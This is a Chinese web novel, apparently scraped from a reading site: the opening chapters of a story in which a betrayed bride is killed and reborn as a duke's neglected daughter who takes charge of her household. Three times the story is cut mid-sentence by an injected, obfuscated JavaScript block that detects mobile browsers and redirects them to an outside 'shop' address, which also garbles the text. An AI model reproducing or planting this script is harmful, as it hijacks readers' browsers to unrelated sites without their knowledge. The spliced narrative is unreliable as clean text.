《报仇雪恨后和前世暗恋我的忠犬he了》 1. 从玉 从玉难以置信地抬头仰望。 喜烛高悬，红绸遍布，满屋的东西耀眼争光。 这俨然是新嫁娘的婚房！ 菱花镜前，赤金冠旁，几个丫头喜气洋洋—— 她们围着个女子，正替她梳妆。 眼前的情景赏心悦目，可从玉却无意欣赏。 “长姐！”她失声尖叫，”怎么是你？” 沈瑜扶钗的手顿了一下。 她瞥了一眼铜镜，镜中的自己浓妆艳抹，越发衬得角落那个浅绿色衣衫的少女黯淡无光。 沈瑜勾起嘴角，笑得得意又张扬。 ”好妹妹，你怎么现在才来？”沈瑜道，她摸了摸发间的金簪，头也不回地叹息，“我早劝爹娘别让婆子往你那里凑，省的一群不懂事的路过时欢天喜地，冲撞了你。” “可这样也好。”沈瑜笑，“你瞧见了早死心。” 她忽然扭过头，一贯温柔的脸上像淬了冰，教从玉胆战心惊。 “可今日，今日，分明该我出嫁啊。”从玉满心茫然，情不自禁地往前走了几步，“还有长姐……” “长姐，你是怎么了？” 她挣扎着伸出手，想像儿时般抓住沈瑜的袖子，仿佛如此，那个善待她的长姐便会回来。 “长姐……”从玉小声叫她。 可沈瑜猛的甩开了。 气力之大，直将毫无准备的从玉掀翻在地。 ”别碰我！”沈瑜怒斥，“弄脏了我的喜服，你向陛下赔罪吗？” 从玉难以置信地仰起脸，只见沈瑜眉目秾艳，满面狠厉。 不，从玉垂眸摇头，手指扣着裙摆，这怎会是她的长姐？ 长姐性情恭和柔顺，又不喜脂粉，平日素面朝天，长得纤细可怜，仿佛风一吹就倒。 她记忆里的沈瑜，是一朵不加雕饰的出水白芙蓉，如今却雍容华贵，艳丽逼人—— 宛如一株会吃人的牡丹。 “我定是在发梦吧……”沈从玉自言自语般呢喃着，“这怎会是长姐？”她攥紧了手指。 可沈瑜纡尊降贵地俯下身，一把掐住她的下巴，强迫她抬起脸。 “怎会是做梦？”沈瑜居高临下地看着她，眸中满是厌恶，“事情既到了如此地步，我也不怕告诉你。” “你不过是个爹从外头捡回来的野种，没有我娘准允，早横死街头了。” “阴差阳错与太子见了一面，得了他几分青眼罢了，你竟妄想作太子妃？” 沈瑜深吸一口气，神情阴鸷：“太子妃的位子，乃至皇后的位子，都该是我，也只能是我！” “你算什么东西？” 她面容扭曲，手劲随着情绪起伏变得愈发大，可从玉只是瞪着她，任凭她如何气急，也是咬紧牙关一声不吭，嘴唇死死闭着。 沈瑜见状，猛得松开了手。 从玉被狠狠摔在了地上。 “瞧你这副硬气的样子。”沈瑜直起身，居高临下地冷笑，眼底满是轻蔑。 “若非要留着你引来太子，也要周全家族的颜面，你以为自己能在外人面前与我平起平坐，安享荣华吗？”沈瑜嗤笑，“许你温饱本就仁至义尽。” “还白得了几年千金时光，你该心存感激才是，竟也想与我争高低。” “你也配？” “从玉啊从玉。“沈瑜道，恶意的目光将从玉上下打量，只当她是个物件，”你竟仍不明白，为何自己叫从玉吗？” 为何叫从玉？ 从玉如坠冰窟。 她自是感激相府予她庇护之所，可所谓锦衣玉食，又是从何而来？ 从玉双眼无神。从来只有贵客造访时她才有机会见识绫罗珍馐，其余时候全在做下人的活计，过得比沈瑜的二等丫头还不如。 她这个名义上的相府小姐，就连请先生也是因燕王随口一提。且不说所寻全是籍籍无名之辈，可教了几天便全遣散回家，又是什么打算？ 表面功夫罢了，沈瑜怎敢提及？ 从玉难以置信地望着她，语气绝望又无力：“可你们私自替嫁，不怕陛下怪罪吗？圣旨上，明明是我的名字！” “还有殿下，还有殿下——” 想起已与她私定终身的太子，从玉想再说些什么，却被沈瑜轻飘飘地打断。 “父亲没与你说么？”沈瑜道，语气可怜而神色讥嘲，“圣旨上，可是点明了要沈家嫡女为太子正妃。” “区区野种，也妄得尊位吗？”沈瑜柔声道。 “至于太子——” “从玉。”沈瑜倏地亲切唤她。 “你以为今日种种，他不知晓吗？”沈瑜幽幽道。 从玉猛得抬起头，她本想反驳，却惊觉眼前这张艳丽的面孔正渐渐与多年前太子怀里的女子重合。 她不是没有问过太子，可彼时太子温声细语，将话题轻巧揭过，又趁花前月下对她诉尽衷肠。 她那时正是最情动的时候，只太子那双眼睛便要将她溺毙了，心上人的海誓山盟又怎能抵抗？ 他说她看错了她便信了，让她别放在心上她也抛之脑后，到头来，竟全不做数吗？ 从玉脸色惨白。 “——太子何许人也，怎会分不清皇位与你，孰轻孰重？”沈瑜嗤笑。 “你算什么？” ——是啊，她算什么？ 在他们眼里，她是个消遣，是个玩物。 “你是个什么身份？能替他带来什么？” “你什么都不算。” ——她什么都不算。 从玉终于彻底瘫在了地上。 夕阳垂暮，倦鸟归林，新嫁娘也早梳洗完毕。 沈瑜扶了扶步摇，终于拔高声音喝道：“来人！” 她一声令下，立马钻出两个粗壮的仆妇。 沈瑜羽扇掩面，眼中的嫌弃多得要溢出来。 “妹妹忽然发癔症，想是有疯病，带走，别叫她出来丢人现眼。” “不………”从玉惊恐地盯着两个步步逼近的婆子。 “我没疯……”她低声念叨，手脚并用地后退，惊慌失措地摇头，“我没疯……” “不！”从玉怒吼，“我没疯！” “我没——呜、呜呜呜呜——” ——不知何时，两个婆子已扑过来捂住了她的嘴，粗鲁地塞进去一团破布。 从玉怒目圆睁，嗓子里却只能传出断断续续的气音，她拼命挣扎着，可哪能争动五大三粗的嬷嬷？ 她只能气喘吁吁地憋红了脸。 从玉被两人死死按着，只能瞪圆了眼睛，目光恶狠狠地钉在沈瑜身上，仿佛要将她身上烫出千千万万个洞来。 可后者却只是轻扫峨眉，恍若未觉，丢了一句“好好照看二小姐”，便施施然转身离去。 沈瑜要上花轿了，前呼后拥，众星捧月； 从玉却被丢下了，就在她的新婚当日！ 她怎样能甘心？ 从玉目眦欲裂，拳头被攥得咔咔响，她咬牙切齿，死死盯着沈瑜远去的背影，恨不得将其生吞活剥，她高昂着头，眼中满是不甘，可下一瞬，从玉便被嬷嬷扇了一记耳光。 那力道极大，从玉刚直起腰，便被打得趴回了地上。 “下贱的东西！”一个婆子指着她痛骂，“谁许你这样看着大小姐？” “如今这丞相府中，可是只有一位小姐了。”另一个道，“她算什么？一个野种罢了！” 她往地上啐了一口。 “小姐可是交代了，任由我们折磨，留口气就行。” 她们阴森森地笑，眼见，便是一脚又落了下来。 见风使舵的狗奴才！ 从玉的眼中将近要喷出火来，可恨她手脚被缚，纵使想方设法，也只能狼狈翻滚。 可那两人见她还敢反抗，竟愈发打得变本加厉。 污言秽语更是不绝于耳。 外头锣鼓喧天，从玉却奄奄一息。 她瑟缩在冰冷的地板上，心中冰寒刺骨。 那两个婆子见她不动，怕闹出人命，又嫌她留在这脏了沈瑜的地板，便将她拖至柴房。 从玉恍惚地睁开眼，周遭昏暗，只有几缕从小缝透出的月光。 她动了动手脚，许是过了太久，麻绳竟有些松了。 从玉蛄蛹着，一点一点挪到月光下去。 她吃力地抠着绳结，时不时还能摸到黏腻的血。 那两个婆子，恐怕早就去前厅邀功贺喜了吧？ 从玉讥诮地笑。 从玉，从瑜，她竟一直在替旁人做嫁衣！ 从玉的发丝黏在了脸上，十指血肉模糊，整个人狼狈不堪。 可她恍若不觉。 她还在笑，笑自己识人不清，竟识不破整个丞相府的蛇蝎心肠。 好在天无绝人之路。 那两个婆子走得急，竟忘了落锁。 从玉弯了下唇角。 她忍不住催自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576762|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快一点，再快一点—— 等她将这该死的绳索解开，便能离开这个吃人的鬼地方，远走高飞！ 随着最后一段麻绳落地，从玉颤颤巍巍地站起来，一头扑出大门。 就连守卫都喝得醉醺醺的。 从玉战战兢兢地缩在角落，看着主母院中的灯光暗了又亮，亮了又暗。 前厅宾客如云，她蒙着脸，低着头，心惊肉跳地在人群中穿梭，亦步亦趋地跟在别人身后。 不知过了多久，从玉总算瞥见了府门的灯光，可她刚舒一口气，想装作若无其事地抬起头，却与门卫诧异的目光对了个正着。 从玉喉头发紧，刚想说些什么为自己辩解，却惊愕地见那门卫闪开了。 他侧过身，正好挡住了另一个侍卫的视线。 那侍卫朝从玉轻轻点头，像在示意她快走。 从玉感激地看了他一眼，也不敢耽搁，忙快步走了出去。 直至坐在客栈的榻上，她仍难以想象自己竟真逃离了蛇窝，离开了那个她从前称之为家的地方——可她手无缚鸡之力，今后又该何去何从？ 从玉忍不住叹息。 然她既如今出来了，断没有回去的道理，倒不如远离京城，去别处谋生计。 多亏那个好心的侍卫，从玉想，若不是他，如今自己怕是连相府都出不去，遑论寻找下一方天地？思及此，她脑海中又冒出了昨日的情景。从玉这才惊讶觉察，那侍卫的脸似乎有些眼熟，可究竟是在哪里见过，她却怎么也记不清了。 不过也由不得她想那么多了，眼下最要紧的是备好行囊，即刻出发。 于是从玉迅速变卖了首饰——她从自己院中捎了些珠宝——又换了身不起眼的衣裳，早早便动了身。 马车一路颠簸，直至驶向僻静的小路。 从玉从未出过相府，她听见马蹄哒哒地响，步履轻盈，不禁掀开帘子，望着葱茏的树木，心中满是欢喜。她憧憬着未来，忍不住微笑起来。 如今的一切，真不是她做梦吗？从玉这样想着，打算探头再看一眼路边的野花，却被“嗖”的一道破空声吓得魂飞魄散。 她的笑霎时僵在了脸上。 只见一支狼牙箭钉入车厢，箭尾嗡鸣，离她的面门仅有一步之遥。 半路横生变故，从玉浑身颤抖，她刚想抱头趴下，马车却像发疯似的开始剧烈颠簸—— 是马儿受惊了。 而车夫毫无动静，任凭从玉怎么呼喊都不做声，想必不是死了便是逃了。 从玉心跳更甚，她慌乱不已，只得连滚带爬地摸向窗户，伸出手死死扒住窗棂。 她将头埋的低低的，庞大的气浪将几片帷幕抛得七零八落。 从玉神色焦灼，可她刚大着胆子地往外望了一眼，便被擦着她发髻闪过的箭矢吓得缩成了虾子。 从玉再不敢抬头去看。 她只盼望着能早些结束。 可恨事态多变，从不如人所愿。 只听“咔嚓”几声脆响，车轴骤然断裂，车厢，车厢竟开始朝另一侧飞速倾斜了！ 外头的马儿还在悲鸣。 怎么办？从玉头晕目眩，心头狂跳。 马匹受惊仍在没命仰蹄，马车震颤已不能支撑，再不下车，前方摔落悬崖是死；可跳下去，哪怕侥幸生还，转瞬也会被铺天盖地的箭矢扎成筛子！ 沈瑜啊，你真是好大的手笔！从玉悲愤地想。 且不提这云集的刺客，只说那布满钩刺的箭镞，便是冲着要她必死的决心来得。她这个惯会伪装的好长姐，如今撕开面皮，当真也不念一点旧情。从玉满心怨恨。 又一阵天旋地转，连番奔波又突发刺杀，从玉本就已疲惫不堪，惊惧之下，她的手不过松了片刻，便一头重重撞到了车壁上。 从玉头晕目眩，她强打起精神想躲开下支箭矢，可气力几尽的她如何能百发百中地躲开来势汹汹的铁器？ 终于，下一支铁箭射中了她的胸膛。 从玉前襟顿时鲜血如注。 她眼前模模糊糊，隐约能听见车顶轰然塌陷的声响。 大批大批的流矢破空袭来，剧烈震颤下，从玉被抛出马车，又重重摔在车厢的碎块上。 风声呼啸，衣袂纷飞，从玉挣扎着动了动手指，眼前的场景在飞速变幻。 她知道，自己在下坠。 可她无力回天。 这悬崖好高，从玉想。 她可能，回不去了。 2. 朝和 “……小姐还没醒吗？已经好几日了……” 谁，是谁在说话？ 沈从玉头痛欲裂，眼前一会是万丈深渊，一会是沈家假面，耳边更是嘈杂难耐。她想睁眼看看，眼皮却如有千斤重，怎么也抬不起来。 “迟早要醒的。”另一人叹了口气，她顿了一下，似乎是往哪里看了一眼，又道：“嘘，小姐还睡着呢。” 小姐？她这是被抓回来了？从玉浑浑噩噩的，终于睁开了眼。 映入她眼帘的，却并不是含香苑单薄的房梁，而是一方精致的床幔。 这是哪里？难不成她是被人救了？ 从玉费力伸手，想掀开帷幔，却不小心牵动了伤口，忍不住倒抽一口凉气。她顾不上注意伤口，一个泪眼婆娑的丫鬟已扑了过来。 “小姐！”那丫头抽抽噎噎，脸上挂着笑，“你终于醒了！珠连快急死了！” 从玉怔怔的，不禁重复了一遍：“……珠连？” 兴许是刚醒，她脑子木木的，压根想不起来这号人。 珠连点点头，替从玉掖了掖被角：“小姐刚从假山摔下来，还没好全，别乱动好不好？过几天，过几天再去放风筝。“ “我与合璧陪小姐一起去。”她像怕从玉不明白似的，殷勤地指了指一傍的紫衣丫鬟。 从假山上摔下来？从玉蹙起眉，她分明是被万箭穿心成了刺猬，与假山何干？再说这珠连面庞稚嫩，年岁尚小，与她说话何故似哄小孩一般？ 倏地一声脆响，从玉惶惶回头，只见桌上那面歪歪扭扭的镜子不知何时摔了下去，狼藉里只留下个白白的框，碎片散了满地。 镜子碎了。 ——镜子。 从玉打了个冷战。 她叫住两个手忙脚乱的丫鬟：“能为我新取一面镜子来么？” “小姐？”合璧惊讶道。 “去取吧。”从玉抖了抖唇，挤出一个苦笑，“我想瞧瞧自己。” 合璧应了一声，便去了；等从玉从她手中接过镜子，她眼里还含着水光。 从玉抚摸着镜子的边框，做工普通却并不粗糙，是她前世常用的。 看来，这位国公小姐的日子并不风光。 镜中人一双滴溜溜的猫儿眼，睫毛长长，柳眉弯弯，是大病初愈的一张尖尖的脸，苍白如纸，却不失美貌。 这不是她。从玉指节泛白，她捏紧了镜子，终于又睁开眼。 她拽住了合璧。 “合璧。”从玉的声音很低，透着疲惫，“你告诉我，我是谁。” “我忘了好多。”从玉道。 忽然“吱呀”一声响，门开了。 “小姐？你不傻了？”珠连的嘴巴张得大大的，她刚回来，端着盛满汤药的碗。 合璧的泪珠已经一颗颗掉下来了。 “小姐叫朝和，是宁国公的独女，夫人病故，奴婢们受过夫人的恩惠，与小姐一同长大。” “夫人生产时受了惊，小姐才会先天不足。不过这些都过去了。”合璧抹了抹眼泪，看着从玉笑，“奴婢早说小姐吉人自有天相，夫人九泉之下，想必能安息了。” 朝和，朝和，原来，她已成了朝和。 朝和是个痴儿，生下来没多久母亲便死了，他们都说，是被朝和克死了。而国公爷朝朔远赴塞外，久不归京，即便来了也是匆匆瞥一眼就走，父女俩聚日无多。是以众人猜测，国公爷是对朝和克死发妻一事心生怨怼，才会抛下幼女提早奉旨出征。 “净是胡说！”珠连愤愤不平，“公爷一回来，准头一个看小姐。只是小姐……”她忽然吞吞吐吐，担忧地瞧了一眼从玉。 后者一见她便懂了，顿时忍俊不禁：“无妨。你继续说。” 两个丫头娓娓道来，从玉听在心里，思绪绵长。 朝和心智形如稚童，与父亲聚少离多，是以根本不认这个父亲，见了便躲。国公无可奈何，只得远远看了女儿便离开。 此事被有心人见了，更要谣传。毕竟朝和身为大房独女，日后继承家产理所应当，一个傻子而已，岂能不惹人眼红？府中其余人等又怎会甘心？是以他们巴不得朝和深陷困窘。谣言既成，哪儿有人出面澄清？ ——朝朔恐怕会。从玉想，可他远赴塞外来去匆匆，怕是有心也无力。 故而落在不明所以的外人眼里，便是国公府默认了。而爱看热闹之好事者本就多如牛毛，况论是勋贵人家的秘闻？于是谣言愈演愈烈，朝和声名也越发不堪。 至于合璧口中那些朝朔送入府中的奇珍异宝，落在朝和手里的，恐怕也没有多少。便说身上盖着的衣裳被褥，粗粗摸一把，便知俱不是真材实料。 不过寻了薄薄一层缎子缝在外头，虽漂亮光彩，可这样的料子，便是沈瑜身边的丫头也不屑用。 从玉冷眼打量周围，伤口却又疼了一下，她蹙了蹙眉，道：“你们可知，我如何从假山上摔下来的？” 珠连当即忿忿道：“是大小姐，大小姐告诉小姐假山上有一只顶好看的风筝，说小姐一定会欢喜！小姐便——“ 珠连欲言又止，从玉听得额头突突直跳。 “……所以我便去了？”两人一点头，从玉只觉得愈发头疼了。 想必这位大小姐已用过许多类似的伎俩，且必定次次灵验。否则，朝和怎会被折腾成这副样子？ 从玉又抬了抬胳膊，不出所料，果然依旧酸软无力。 还真是弱不禁风，从玉叹息，这位能活到现在，也真是命大。 从玉心生慨叹，那厢合璧却冷不丁开口：“珠连，府医不是说小姐要喝两回药吗？怎的只有一碗？剩下的呢？” 珠连赶紧道：“噢，吴嬷嬷要熬药，说待会便送来。我想着小姐醒了，得赶紧喝药才行，便端着一碗先来了。” 合璧却皱眉：“你来了也好一会了，她却这会都没个影子，怎的这般懈怠？”合璧朝从玉福了一礼，便焦急转身，快步朝门外去了。 从玉凝望着她的背影，眼中晦暗不明，缓缓道：“院中的嬷嬷……总是这般吗？” “可不是嘛，别说嬷嬷了，便是一个洒扫丫头，也惯会拜高踩低。”珠连一心愤懑，等话毕才觉嘴快，忙道，“小姐刚醒，莫将这帮混不吝的放在心上，奴婢这就去教训他们一番！” 见珠连气呼呼的也要走，从玉叫住她。 “不必。”她眼中晦暗不明，“你去找合璧，告诉她，将院中丫头小厮们都召集在一起，也别忘了吴嬷嬷。” “小姐？”见从玉起身，珠连忙扶住她，“小姐要去哪？不再歇歇？” 从玉安抚她：“有些事，是本该做的，如今我醒了，早早去办，总省的你与合璧再委屈。” 见从玉决绝，珠连也不好多说，只机灵笑道：“既如此，小姐此刻先省些气力，奴婢来伺候您穿衣。” 珠连腿快，没一会功夫，便寻了合璧与其余人过来。 人不多，也没站几排，站在空地窃窃私语，倒是显眼的很。 从玉被合璧扶着，立在门前。 吴嬷嬷是颐指气使惯了的，此刻顶着太阳被晾了半个时辰而已，便站不住了。 “小姐忽然召集我们这些人，不知是要做什么？“她不耐烦道。 这刁奴一发话，顿时又有几个不怕死的冒了出来。 “哎呦，小姐金枝玉叶，你我是什么人哪，不体恤我们，也是应当的嘛。” “话是这样说，可也不能这样浪费时光吧。” 阴阳怪气之音此起彼伏，珠连当即气得要冲出去，却被合璧拽住了。 她摇摇头，示意其看从玉的眼色。 珠连侧目，却见从玉不怒反笑。 “我病了好些年，还未多谢嬷嬷操劳院中事务。”从玉慢条斯理。 “哪里哪里，小姐谬赞。”吴嬷嬷悠然自得，半响才回过味来，顿时大惊失色，“小姐，你——” “不错。”从玉打断她，“从此便不劳嬷嬷费心了，有珠连合璧在呢。” “……小姐哪里的话？”吴嬷嬷这个老油条迅速反应，振振有词道，“这两个丫头年纪尚轻，怕难担当大任吧。” 吴嬷嬷笑得眼角堆满了褶子。 神智恢复了如何？还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576763|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是任人宰割？眼前的女孩子弱不禁风，能拿她怎样？ 可从玉根本不管那么多。她冷不丁冒出来一句：“——吴嬷嬷不敬主子，掌嘴二十。” 她话音未落，吴嬷嬷当即叫嚣：“我看谁敢？” 这刁奴目光凛凛扫视四周，见众人畏首畏尾，不由得意：“我看小姐是病糊涂了，珠连合璧，还不快将你们主子搀下去？” 见她笑得轻蔑又猖狂，这下连合璧也站不住了。 她满面踌躇：“小姐……” 从玉却举起一只手。 她居高临下又满面冰霜，模样颇有威慑力，一下便镇住了合璧惴惴不安的心。 “你们要弄清楚。”从玉嗓音温柔却不容置疑，“究竟谁是你们的主子，谁给你们发薪俸，谁，才是国公府的顶梁柱？” “往日我神志不清不辨好坏，可如今我头脑清明，究竟是谁给你们的胆子，敢明目张胆怠慢宁国公的亲女？” 见底下人面面相觑，从玉又道：“但往日已成定局，我如今给你们个机会。上前掌掴刁奴的，我通通不予追究，还要赏钱五百文，耳光超二十之数的，还能来领赏。” 目之所及皆蠢蠢欲动者，从玉满意勾唇，下了最后一剂猛药：“赏银一两。” 一两！众人躁动起来，这顶几个月的月例了！ 他们这些做洒扫的，一个巴掌便能赚到一个月的钱，何乐而不为呢？ 重赏之下必有勇夫。 从玉此话一出，众人便不再犹豫，纷纷如饿虎扑食一般朝吴嬷嬷奔了过去。 “你们怎么敢——啊——” 听着下头杀猪般的叫声不绝于耳，从玉惬意地叹了口气，转头吩咐合璧：“我应该还有些积蓄吧？全取出来吧。” “小姐？我以为您只是说着玩的。何况我们……”合璧瞪大了眼睛。 从玉安抚她，笑：“去取吧，舍不得孩子套不住狼，何况本来也没有多少人。” 及小厮丫头们皆领赏完毕，从玉看也不看鼻青脸肿的吴嬷嬷一眼，笑吟吟道：“吴嬷嬷妄以主子自居，此等不敬尊上之人该逐出府去。诸位以为呢？” 底下的人忙着往怀里塞银子，哪敢反驳？纷纷应是。 从玉笑容更大了。 “那便好办了。”她轻快地拍拍手，“珠连，你带人，将起初几个与刁奴一伙，落井下石的也逐出府去吧。” “是！小姐！”珠连欢天喜地，抬手便招了几个侍卫过来。 被押住的人鬼哭狼嚎：“小姐！小姐奴才错了！饶奴才一命吧！小姐！小姐——” 珠连骄傲地像只公鸡：“哼，早干嘛去了，如今了还求情？真不害臊！”说罢，犹嫌不解气地啐了一口。 “好了，珠连。”从玉招呼她，“快过来。” 她笑盈盈地望着底下。 经此变故，众人忐忑不安，骚动着却不敢发出声响，生怕主子变卦翻旧账，将他们也丢出去。 从玉眸色一暗，温和道：“方才那几个是背主之人，留不下的才需走。” “只要你们不生事，蒹葭院里，永远有你们的好处在。都听明白了吗？” 从玉笑吟吟的，话里既含宽和又不乏警告。 “明白，明白了！” “还有，珠连合璧的话，你们也不许忤逆。”从玉道。 “是，是！” "都听小姐的！"下人们喏喏应声。 从玉点着头，心里却恍如隔世。 原来受人追捧是这般感觉么？从玉目光悠远，怪不得沈瑜想方设法引人注意。 只是曾经懵懂无知的日子再不会有。 沈从玉已经死了。 如今只有一个朝和。 …… 屋内。 “小姐方才好威武！”扶朝和坐下，珠连喜不自胜，“可真解气呢！” “就你嘴贫。”朝和嗔怪着看了她一眼，将新药一饮而尽。 恰逢此时，门口敲门进来个粉裙的婢女。 她低着眉，看不清神色：“二小姐，老夫人与夫人，在厅堂等您。” 3. 二房 两个丫鬟替朝和整理着装，嘴里也不闲着，你一言我一语，朝和才了解了府中大概情况。 自崔氏血崩离世后，宁国公并未再娶，大房仅朝和一女。 朝朔之弟朝彦，乃老国公续弦所出，即如今的老夫人叶氏。叶氏早年痛失一子，如今醉心礼佛，不问俗事。 朝彦为人随和，正妻赵氏却为人要强，故而二房是她做主。两人育有二女，分别是大小姐朝容，三小姐朝仪。 除此之外，朝彦还纳过小妾，可惜在二夫人雷霆手腕下，存活者寥寥无几，只剩下一个抱病不起的秋姨娘。秋姨娘也有一女，叫朝卉，记作四小姐。 朝容，朝和想，这便是愚弄她的罪魁祸手了。 …… 厅堂。 朝和注视着不远处的少女，她一身红衣端坐下首，眼里闪着讥诮的光。 赵氏才和颜悦色地受了朝和的礼，点头道无妨，朝容便迫不及待地开口：“朝和，你可真令我们好等。” “此次跌下假山，可问过府医？你头脑有碍吗？”她掩唇讥笑，身旁的蓝衣少女却蹙眉推了其一把，引来朝容不满一瞥。 那是三小姐朝仪？朝和思忖，倒是与其姐大不相同。 她这厢还在诧异，赵氏已笑着唱起了红脸：“容儿见了你心里高兴，她一向心直口快，阿和，你别往心里去。” 朝容如此冒犯，赵氏却轻飘飘揭过，朝和只觉好笑。 “二婶说得哪里话？”朝和弯唇，“自家姐妹，我怎会与姐姐计较？还未谢过姐姐关心。” 她朝对面点头示意，朝容高傲颔首：“哼，算你识相。” 只是不消她得意片刻，朝容又道：“只是容姐姐这一根筋不会变通的毛病，阖府周知，我自是不在意，可教有心人听了，不知怎么想姐姐。” “家中还好，可传到外头呢？”朝和一脸关切：“兴许有碍声名吧？” 此话一出，连赵氏也险些绷不住脸上的笑，女儿家名声自不必多说，可谁人不知朝彦最在意声名——一心宁当清流，否则也不会如今都只担闲职。 朝容更是气急败坏，险些拍案而起：“你！你这是什么意思？” “只是忽然想起叔父常说祸从口出罢了。”朝和无辜道，“阿和偶有所感，无心之语罢了，姐姐为何反应这样大？” 朝容咬牙切齿，立即就要破口大骂，可高位的老太太终于看不下去了。 “行了！”叶氏大喝，“本来是听说二小姐神智恢复，叫她过来瞧瞧，吵吵嚷嚷的，像什么样子？” “老二家的，确实得约束朝容了。“老太太眉头皱紧，她不得不为儿子考虑，”如今在是府内，别哪日外人说起国公府，道治家不严。” “祖母！”朝容不满，“哪儿有那么严重！” “此事到此为止。”叶氏眉目倦怠，朝嬷嬷伸出手，“时辰也到了，容儿，你随我一同去佛堂，抄几卷经书静静心。” “祖母！”朝容不可置信，又唤了一声。 可叶氏已经转过脸去了。 “阿和。“她道，神情已经缓和了，”你大病初愈，也去歇歇吧。” 朝和恭敬应了个“是”。 见老太太满意点头，被人搀扶着转身，朝和只觉讽刺。 叶氏看似替她出头，实则是寻个由头将朝容害她险些丧命之事高拿轻放。 区区几本手抄，根本无关痛痒。 叶氏用心良苦，做尽了表面功夫，朝容却像受了天大的委屈，真真是好笑。 …… “我们这位老太太，可真是偏爱二房。”朝和弯弯唇，将手搭在珠连肩上，缓步往前走，笑意却不达眼底。 “可不嘛。“珠连噘着嘴，”就连掌家权也在二夫人手里。” “这本该是小姐的。”珠连不高兴道。 “无妨。”朝和莞尔，拍怕珠连的手，“迟早要回来。” 珠连听她一说，顿觉鼓舞：“嗯，我信小姐！” 半响，她又像想起什么一般开口：“对了，小姐，下个月便是老夫人寿辰了，小姐今年还去吗？” “还？”朝和敏锐地重复道，“我往年不愿去吗？" "不！"珠连忙道，“小姐是很喜欢热闹的！可是——” 见珠连一脸为难，合璧也不敢吭气，朝和已恍然大悟。 “他们都欺负我是吗？”她问。 两人点头，朝和却笑意更甚。 “那今年更要去了。”朝和缓缓道，“毕竟今时已不同往日。”她眨眨眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576764|187142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对，对。”珠连一拍脑门道，“小姐如今不傻了。” “怎么说话呢。”合璧怕朝和自尊心受挫，赶忙看了一眼她的脸，见其神色如常才放下心，附和道，“对！让他们都看看小姐的厉害！” “狠狠打他们的脸！”珠连雀跃道。 “但眼下最要紧的，我有个差事要交给你们办。”被两人感染，朝和也笑吟吟的，却卖起了关子。 …… 只见她快步走入屋内，从书中拿出不知何时写好的字条。 “你们照着这个名单，去寻人。”她将纸递过去，“上头有地址，少请几个也不碍事。只是谨记，云锦阁叶先生一定要请来。” “小姐。”合璧将纸抻开，诧异道，“你是要请先生吗？” “你识字？”朝和惊讶地看向她。 “对，夫人救我们回来时，派人教过。”不等合璧答话，珠连已探过头去，“咦，请这么多么？” “小姐都要学吗？” “不错。”朝和点点头，将一个鼓囊囊的袋子塞进她们手里。 “小姐。”合璧目瞪口呆，“钱不是都……” “嘘。”朝和却竖起手指，“你去典当了这些首饰，能请几个算几个吧。” “别让珠连知道了。”她往傍瞥了一眼，见珠连还在仔仔细细地看名单，遂放心道，“当心她又要哭。” 见合璧点头，朝和才笑起来：“快去吧，上面可是有好几个难请的。” 两人一听，这才匆匆忙忙走了。 独留朝和坐在榻上。 叶云锦，她默念道，目光悠远，显然是陷入了沉思。 当年沈彰认为女儿目不识丁有误他声名，确实替她请了不少先生，可要么是碌碌无为一心贪赏之徒，要么是认清从玉地位低微势利之辈，唯有叶云锦—— 那些个伪君子里头，她是唯一一个有真才实学又乐于施教的。 追忆往昔种种，如过眼云烟般难忘又可泣。 故人之姿历历在目，她长吁短叹也记忆犹新。 云锦只道自己难有有出头之日。 ——可云锦啊。 朝和喟叹着弯起眉梢。 今时不同往日，我终于， 也能帮你一把。 4. 云锦 “小姐！小姐！” 珠连人未到，声先至，她气喘吁吁地跑进来，脸红通通的。 “怎么？成了？”朝和眼睛一亮，她将手里的书倒扣，兴致盎然地望向来人。 珠连点头，兴奋地手舞足蹈：“我们一说来意，叶先生立马答应了。” “没说别的？”朝和问。 “倒真没说别的。”珠连挠挠头，“只是她看着我们，总有些说不出的味道。” “倒像是……怜悯？”珠连惊疑不定。 朝和抿嘴笑了一下，也不多说，留着她琢磨，转去与合璧对账了。 “怎么还剩这么多？”朝和掂了掂钱袋，蹙眉，“他们大多不乐意来么？” 见合璧为难点头，朝和立马安抚：“不碍事，我随手写就的罢了，叶先生来了便好，辛苦你们了。” 合璧摇头：“职责所在，奴婢们不打紧。小姐肯用，我们高兴还来不及，只是小姐……” 她忽然犹豫起来。 “他们讲话不好听？”朝和默了一下，轻声道。 听合璧低低“嗯”了一声，朝和叹息。 